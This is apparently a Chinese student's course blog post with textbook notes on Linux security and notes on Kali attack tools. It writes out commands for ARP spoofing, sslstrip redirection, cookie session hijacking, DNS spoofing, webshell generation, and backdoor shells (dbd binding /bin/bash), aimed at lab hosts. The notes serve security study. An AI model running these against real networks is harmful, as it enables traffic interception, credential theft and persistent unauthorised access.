网络攻防实践 第八周作业

 

MarkdownPad Document

第八周作业

第一部分 #教材学习

1.1Linux操作系统概述

ubuntu、debian、fedora、centos、rhel、opensuse和stackware等。

优势

  开放源代码与免费
  跨平台的硬件支持
  丰富的软件支持
  多用户多任务
  可靠的安全性
  良好的稳定性
  完善的网络功能
linux系统结构(课本图8-1)

  Linux进程与线程管理机制
  Linux内存管理机制
  Linux文件系统管理机制
  Linux设备控制机制
  Linux网络机制
  Linux系统调用机制 #

1.2 Linux操作系统安全

linux身份认证

  linux用户(root根用户、普通用户、系统用户)
  linux用户组(具有相同特征的用户账号集合)
  linux本地登录用户认证机制(控制台)
  linux远程登录用户认证机制(ssh服务)
  Linux的统一身份认证中间件——PAM(可插入身份认证模块)
linux授权与访问控制

  文件所有者(chown命令)
  文件的访问权限(读、写、执行,chmod命令)
  文件的特殊执行权限
  Linux访问控制机制的不足与改进
linux安全审计

主要通过三个主要的日志子系统来实现(p284 表8-1):

  连接时间日志
  进程统计日志
  错误日志记录

1.3 Linux 系统远程攻防技术

linux远程口令字猜测攻击
1)针对ssh、telnet、ftp、http等服务的口令猜测攻击是互联网所面临的攻陷系统最普遍的攻击模式。

2)自动化远程口令猜测工具(brutus、thc hydra、cain and abel) p286

3)最佳防御措施:使用不宜猜中的强口令字

linux网络服务远程渗透攻击
最重要的攻击渠道——对监听网络服务安全漏洞的渗透利用。

  Linux网络服务的远程渗透攻击
  Linux内核中的网络协议栈实现
  LAMP Web网站构建解决方案中的网络服务
  FTP、Samba等文件共享服务
  电子邮件收发服务
  其他网络服务
安全防范措施:

  禁用所有不必要的网络服务
  尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署
  及时更新网络服务版本
  使用xinetd、防火墙为linux网络服务添加网络访问控制机制
  建立入侵检测与应急响应计划流程
攻击Linux客户端程序和用户
安全防范措施:

  及时更新常用的网络客户端软件
  自身安全意识、经验与心智能力
攻击Linux路由器和监听器

  攻击linux路由器与防火墙
  攻击监听器&入侵检测器(libpcap抓包库、tcpdump命令行程序、wireshark网络监听与协议分析软件、snort入侵检测系统)

1.4 Linux系统本地安全攻防技术

linux本地特权提升

  linux用户口令字破解
  利用sudo的缺陷进行特权提升
  利用用户态SUID程序漏洞进行特权提升
  针对SUID程序的本地缓冲区溢出攻击
  针对SUID程序的符号链接攻击
  针对SUID程序的竞争条件攻击
  针对SUID程序的共享函数库攻击
  利用内核空间代码漏洞进行特权提升
  利用系统配置不当实施本地特权提升
linux系统上的消踪灭迹

清理系统上的日志记录,从而有效地抹掉自己的行动踪迹。

linux系统远程控制后门程序
linux系统上植入远程控制后门程序的类型有:特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具。

第二部分,Kali视频学习

31.漏洞利用之SET 打开SET套件 命令行下输入setoolkit

菜单选项1是社会工程学攻击,2是Fast-Track渗透测试,3是第三方模块

2、菜单选项1是社会工程学攻击 输入1回车后,有11个模块:

分别为: 鱼叉式钓鱼攻击、网站攻击、介质感染攻击、创建Payload并监听、群发邮件攻击、基于Arduino的攻击、短信欺骗攻击、无线接入点攻击、二维码攻击、powershell攻击、第三方模块 3、鱼叉式钓鱼攻击 继续选择1 鱼叉式钓鱼攻击

此攻击向量主要目的为发送存在恶意软件的钓鱼邮件,相应的payload可以选择不同的漏洞。

4、网站攻击框架 继续选择2 网站攻击框架

此时开放一个webServer服务,如果对方访问此页面,若系统存在漏洞触发条件,则会被植入后门。如Java Applet Attack 方法就需要目标有Java运行环境。为了仿真,可以选择自建模版或克隆一个网站。 可以复制一个网站,借助内网的嗅探欺骗把域名劫持过过来,

5、介质感染攻击 继续选择3 介质感染攻击

借助Autorun.inf执行Exploit得到一个返回的shell,也可以结合Metasploit的后门。

6、创建payload和监听器 继续选择4 创建Payload和监听器,与Metasploit给出的Payload类似

7、群发邮件攻击 继续选择5 群发邮件攻击

支持导入列表并向列表中的每个人发送邮件

8、基于Arduino 主要针对硬件攻击,是一个硬件模块。 9、短信欺骗攻击 伪造短消息发送给别人,伪装短信来源 10、无线接入点攻击 无线接入点攻击会创建一个虚拟无线AP,通过接入点ap可以抓取所有连接进来的设备流量。 11、二维码攻击 填入一个危险的URL,使得被攻击者扫描二维码自动访问页面中招

12、PowerShell攻击 针对Vista以上的PowerShell攻击模块 13、Fast-Track攻击模块

KaliSecurity - 嗅探欺骗与中间人攻击 Linux下的中间人攻击套路是一样的,这里介绍进行ARP欺骗、DNS欺骗和嗅探以及会话劫持的方法。

1、为Kali设置开启端口转发

echo 1 > /proc/sys/net/ipv4/ipforward cat /proc/sys/net/ipv4/ipforward 修改为1 2、设置ssltrip 为了劫持SSL数据,需要https数据变为http: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081 让sslrtip在8081端口监听: sslstrip -l 8081

3、ettercap的准备 ettercap是一套用于中间人攻击的工具。和dsniff套件齐名。支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。如果是第一次中间人攻击操作,那么要对kali下的etteracp做点配置。 配置文件是/etc/ettercap/etter.conf,首先要将ecuid、ecgid都变为0

修改之后,直接从文件夹打开修改保存即可。

然后找到linux分类下的if you use iptables这一行,将注释(“#”号)去掉,打开转发。

打开图形化界面 ettercap -G

选择嗅探网卡 默认eth0

4、Ettercap使用 打开ettercap,选择sniff选项-unified sniffing-选择网卡-hosts选项:先scan for hosts,等扫描完了选host list。

5、Dsniff套装介绍 Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。进行攻击步骤如下: 进行arp欺骗: arpspoof [-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关) 进行嗅探: dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression] -c打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作; -d启动调试模式; -f以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型); -I使用特定的网络接口; -m使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议; -n不执行主机查找; -r从前面保存的会话中读取被嗅探的数据; -s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中; -t使用格式port/proto=servise;来加载一个以逗号界定的触发器集;

6、会话劫持 这里主要以cookies进行举例,说明会话劫持的用法。 开始arp欺骗; arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102 捕获数据报: tcpdump -i wlan -w test.cap 等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包: forret -r test.cap 如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt 接下来运行hamster hamster 会提示浏览器设置代理为http://127.0.0.1:1234 接着在浏览器中代开hamster:http://hamster 选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。

7、图片截获 利用Driftnet这款工具我们可以看到受害人在访问网站的图片。 首先依然使用arpspoof启动arp欺骗,然后启动driftnet: driftent -i 此时弹出一个小窗口,当目标访问有图片的网站的时候,攻击者就能在这个小窗口看到。

8、DNS欺骗 利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。 在开始欺骗前,首先我们要编辑一个自己的hosts文件,放在方便访问的地方。内容和本机自带的hosts内容差不多,只是把你想欺骗的域名和想要欺骗到哪里的地址写好(通常是攻击者指定的服务器,用来执行浏览器溢出或者java applet攻击,用来获取受害者的计算机访问权限) host文件:127.0.0.1 www.baidu.com 上面是一个hosts文件示例,把百度定向到了本机。我们把它保存成hosts,位于/root目录下。 然后启动dnsspoof:dnsspoof -i wlan0 -f /root/hosts 等受害者访问百度观察效果。

9、URL监控 利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结果。 Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]

10、下载软件监控 利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转存到本地当前工作目录。 Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]

KaliSecurity - 权限维持之后门 权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与Web后门统称为后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。

1、WEB后门 (1)Weevely

Weevely是一款使用pythoon编写的webshell工具(集webshell生成和连接于一身,仅限于安全学习教学之用,禁止非法用途),可以算作是linux下的一款菜刀替代工具(限于php),某些模块在win上无法使用。

生成一个php后门,weevely generate test ~/1.php, test为密码,在本地生成~/1.php

后门上传到web,使用weevely连接 打开Metasploitable2 nano 1.php 复制生成文件内容到其中 weevely http://192.168.75.132/1.php (2)WeBaCoo(Web Backdoor Cookie)script-kit 是一个小巧的、隐蔽的php后门,它提供了一个可以连接远程web服务器并执行php代码的终端。WebaCoo使用HTTP响应头传送命令结果,shell命令经base64编码后隐藏在Cookie中。生成一个webshell:

上传到网站后,使用webacoo连接: webacoo -t -u http://192.168.75.132/2.php 通过加入:执行本地命令,不加则借助webshell执行命令。

2、系统后门 (1)Cymothoa系统后门 cymothoa -10500 -s -0 -y 2333 (注入2333端口),如果成功,可以连接2333端口返回一个shell (2)dbd理解为加密版的nc 监听端:dbd -l -p 2333 -e /bin/bash -k password 攻击端:dbd 127.0.0.1 2333 -k password (3)sbd和dbd用法相同 (6)U3-Pwn 与Metasploit Payload结合使用的工具,菜单可以单刀多针对移动光驱设备如光驱镜像,u盘等。 (7)Intersect 执行后门,在目标机上执行 1.py -b,则生成一个bind shell后门,如果之前设置好remote host和remote port,也可以设置为reverse shell,此时连接后门端口成功,返回shell.

Kali权限维持之Tunnel 权限维持包括Tunnel工具集、web后门、系统后门三个子类。Tunnel工具集包含了一系列用于建立通信隧道、代理的工具:

1、CryptCat Netcat有网络工具中的瑞士军刀之称,但是它本身建立的隧道是不加密的,于是有了cryptcat。与dbd/sbd使用也类似。

2、DNS2TCP DNS tunnel即DNS通道。从名字上看就是利用DNS查询过程建立起隧道,传输数据。 在酒店等公共场所,通常有wifi信号,但当访问第一个网站时,可能会弹出窗口,需要输入用户名密码,登陆后才可以继续上网(该技术一般为透明http代理)。但有时会发现获取到的dns地址是有效的,并且可以进行dns查询,这时可以使用DNS tunnel技术来实现免费上网。 DNS tunnel原理:通过特定服务器,让局域网内的DNS服务器为我们实现数据转发。DNS tunnel实现的工具有很多,比如:OzymanDNS, tcp-over-dns, heyoks, iodine, dns2tcp 3、Iodine 4、Miredo Miredo是一个网络工具,主要用于BSD和Linux的IPV6 Teredo隧道转换,可以转换不支持IPV6的网络连接IPV6,内核中需要有IPV6和TUN隧道支持。 5、Proxychains 内网渗透测试经常会用到一款工具,如我们使用Meterpreter开设一个Socks4a代理服务,通过修改 /etc/prosychains.conf配置文件,加入代理,即可使其他工具如sqlmap、namp直接使用代理扫描内网。 如proxychain namp 10.0.0.1/24 6、Proxytunnel Proxytunnel可以通过标准的Https代理来连接远程服务器,这是一个代理,实现了桥接的功能。特别用于通过SSH进行Http(s)传输 Prosytunnel可用于: 使用http(s)代理(http connect 命令)创建通讯通道 为OpwnSSH写一个客户端驱动,并创建基于SSH连接的http(s)代理 作为一个独立的应用,可以连接到远程服务器 7、Ptunnel 借助ICMP数据包建立隧道通信 8、Pwant 内网下通过UDP通信 9、sslh 一个ssl/ssh端口复用工具,sslh可以在同一个端口上接受https,ssh和openvpn连接。这使得通过443端口连接ssh服务器或者openvpn服务器同时在该端口上提供https服务成为可能。sslh可以作为一个研究端口复用的例子。

Kali逆向工程工具

 

posted @ 2018-04-29 19:58  曹贻森  阅读(227)  评论(0编辑  收藏  举报